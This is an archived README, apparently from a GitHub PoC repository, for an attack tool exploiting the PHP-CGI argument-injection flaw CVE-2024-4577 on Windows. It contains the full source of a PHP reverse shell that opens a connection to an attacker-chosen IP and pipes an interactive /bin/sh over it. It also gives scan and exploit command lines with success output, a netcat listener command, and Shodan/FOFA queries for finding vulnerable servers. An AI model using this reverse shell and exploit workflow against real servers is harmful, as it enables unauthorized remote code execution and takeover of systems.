关联漏洞
标题:
PHP 操作系统命令注入漏洞
(CVE-2024-4577)
描述:PHP是一种在服务器端执行的脚本语言。 PHP存在操作系统命令注入漏洞,该漏洞源于在特定条件下,Windows系统使用“Best-Fit”行为替换命令行中的字符,这可能导致PHP CGI模块错误地将这些字符解释为PHP选项,从而泄露脚本的源代码,在服务器上运行任意PHP代码等。以下版本受到影响:8.1至8.1.29之前版本,8.3至8.3.8之前版本,8.2至8.2.20之前版本。
描述
ATTACK PoC - PHP CVE-2024-4577
介绍
<h1 align="center">
PHP CVE-2024-4577-RCE-ATTACK-ATTACK
</h2>
<p align="center">
<a href="https://medium.com/@bibo318">
<img src="https://img.shields.io/badge/Medium-12100E?style=for-the-badge&logo=medium&logoColor=white" alt="Medium">
</a>
<a href="https://www.python.org/">
<img src="https://img.shields.io/badge/python-3670A0?style=for-the-badge&logo=python&logoColor=ffdd54" alt="Python">
</a>
<a href="https://www.kali.org/">
<img src="https://img.shields.io/badge/Kali-268BEE?style=for-the-badge&logo=kalilinux&logoColor=white" alt="Kali">
</a>
</p>
## 📜 Description
Trong các phiên bản PHP 8.1.*trước 8.1.29, 8.2.*trước 8.2.20, 8.3.*trước 8.3.8, khi sử dụng Apache và PHP-CGI trên Windows, nếu hệ thống được thiết lập để sử dụng một số trang mã nhất định, Windows có thể sử dụng hành vi " Phù hợp nhất " để thay thế các ký tự trong dòng lệnh được cung cấp cho các hàm API Win32. Mô-đun PHP CGI có thể hiểu sai các ký tự đó thành các tùy chọn PHP, điều này có thể cho phép người dùng độc hại chuyển các tùy chọn sang tệp nhị phân PHP đang chạy và do đó tiết lộ mã nguồn của tập lệnh, chạy mã PHP tùy ý trên máy chủ, v.v.
"XAMPP dễ bị tổn thương trong cấu hình mặc định và chúng tôi có thể nhắm mục tiêu điểm cuối /php-cgi/php-cgi.exe. Để nhắm mục tiêu
một điểm cuối .php rõ ràng (ví dụ: /index.php), máy chủ phải được cấu hình để chạy các tập lệnh PHP ở chế độ CGI."
## 📚 Table of Contents
- 📜 [Description](#-description)
- 🛠️ [Installation](#-installation)
- ⚙️ [Usage](#-usage)
- 💁 [References](#-references)
## 🛠️ Installation
```bash
$ git clone https://github.com/bibo318/CVE-2024-4577-RCE-ATTACK.git
$ cd CVE-2024-4577-RCE-ATTACK && pip install -r requirements.txt
```
## ⚙️ Usage

## 🤖 Thiết lập shell đảo ngược
### PHP Payload
> [!NOTE]
> Công cụ này thể hiện các kỹ thuật và tấn công thực tế (TTP). Tuy nhiên mẫu tải trọng cụ thể này không hoạt động trong trường hợp này. Sửa đổi shell.php để có được tải trọng đầy đủ chức năng.
```php
# rev_shell.php
<?php
// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.
set_time_limit (0);
$VERSION = "1.0";
$ip = 'xxxxxxxxxxx'; // CHANGE THIS
$port = 9999; // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
//
// Daemonise ourself if possible to avoid zombies later
//
// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies. Worth a try...
if (function_exists('pcntl_fork')) {
// Fork and have the parent process exit
$pid = pcntl_fork();
if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}
if ($pid) {
exit(0); // Parent exits
}
// Make the current process a session leader
// Will only succeed if we forked
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}
$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
// Change to a safe directory
chdir("/");
// Remove any umask we inherited
umask(0);
//
// Do the reverse shell...
//
// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
// Spawn shell process
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
// Check for end of TCP connection
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
// Check for end of STDOUT
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
// Wait until a command is end down $sock, or some
// command output is available on STDOUT or STDERR
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
// If we can read from the TCP socket, send
// data to process's STDIN
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
// If we can read from the process's STDOUT
// send data down tcp connection
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
// If we can read from the process's STDERR
// send data down tcp connection
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}
?>
```
## 🖥️ Scanning server
```bash
$ python3 CVE-2024-4577.py -s -t https://target.com/
,------. ,--. ,--.,------. ,-----.,--. ,--.,------. ,---. ,--. ,---. ,---. ,---.,-----.,-----.,-----. ,------. ,-----.,------.
| .--. '| '--' || .--. ' ' .--./ \ `.' / | .---',-----.'.-. \ / '.-. \ / |,-----. / || .--''--, /'--, / | .--. '' .--./| .---'
| '--' || .--. || '--' | | | \ / | `--, '-----' .-' .'| () |.-' .'/ ' |'-----'/ ' |'--. `\ .' / .' / | '--'.'| | | `--,
| | --' | | | || | --' ' '--'\ \ / | `---. / '-. \ // '-.'--| | '--| |.--' // / / / | |\ \ ' '--'\| `---.
`--' `--' `--'`--' `-----' `-' `------' '-----' `--' '-----' `--' `--'`----' `--' `--' `--' '--' `-----'`------'
Author: Demongod | CVE-2024-4577 | PoC and Scanner |
[+] Target https://xxxx.com dễ bị tấn công bởi CVE-2024-4577
```
## 🎯 Khai thác máy chủ dễ bị tổn thương
```bash
$ python3 CVE-2024-4577.py -t http://example.com -e -p rev_shell.php
,------. ,--. ,--.,------. ,-----.,--. ,--.,------. ,---. ,--. ,---. ,---. ,---.,-----.,-----.,-----. ,------. ,-----.,------.
| .--. '| '--' || .--. ' ' .--./ \ `.' / | .---',-----.'.-. \ / '.-. \ / |,-----. / || .--''--, /'--, / | .--. '' .--./| .---'
| '--' || .--. || '--' | | | \ / | `--, '-----' .-' .'| () |.-' .'/ ' |'-----'/ ' |'--. `\ .' / .' / | '--'.'| | | `--,
| | --' | | | || | --' ' '--'\ \ / | `---. / '-. \ // '-.'--| | '--| |.--' // / / / | |\ \ ' '--'\| `---.
`--' `--' `--'`--' `-----' `-' `------' '-----' `--' '-----' `--' `--'`----' `--' `--' `--' '--' `-----'`------'
Author: Demongod | CVE-2024-4577 | PoC and Scanner |
[+] Khai thác thành công!
```
## 👨🏻💻 Netcat Listener
```bash
$ nc -lvnp 9999
```
## 🔍 Phát hiện máy chủ dễ bị tấn công
- **Shodan**: `server: PHP 8.1`, `server: PHP 8.2`, `server: PHP 8.3`
- **FOFA**: `protocol="http" && header="X-Powered-By: PHP/8.1" || header="X-Powered-By: PHP/8.2" || header="X-Powered-By: PHP/8.3"`
## 💁 Giới thiệu
- https://labs.watchtowr.com/no-way-php-strikes-again-cve-2024-4577
- https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/main/http/cves/2024/CVE-2024-4577.yaml
- http://www.openwall.com/lists/oss-security/2024/06/07/1
- https://raw.githubusercontent.com/rapid7/metasploit-framework/master/modules/exploits/windows/http/php_cgi_arg_injection_rce_cve_2024_4577.rb
- https://www.php.net/ChangeLog-8.php#8.1.29
- https://www.php.net/ChangeLog-8.php#8.2.20
- https://www.php.net/ChangeLog-8.php#8.3.8
## ⚠️ Tuyên bố miễn trừ trách nhiệm
Công cụ này chỉ được cung cấp cho mục đích giáo dục và nghiên cứu. Người sáng tạo không chịu trách nhiệm về bất kỳ việc sử dụng sai hoặc thiệt hại nào do công cụ này gây ra. [Tạo vấn đề](https://github.com/bibo318/CVE-2024-4577-RCE-ATTACK/issues)
文件快照
[4.0K] /data/pocs/b25e319c7caabc1976b065b8aa22ec71eb906ba2
├── [6.0K] CVEs-2024-4577.py
├── [9.1K] README.md
├── [ 33] requirements.txt
├── [3.5K] rev_shell.php
└── [ 34K] Screenshot.png
0 directories, 5 files
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。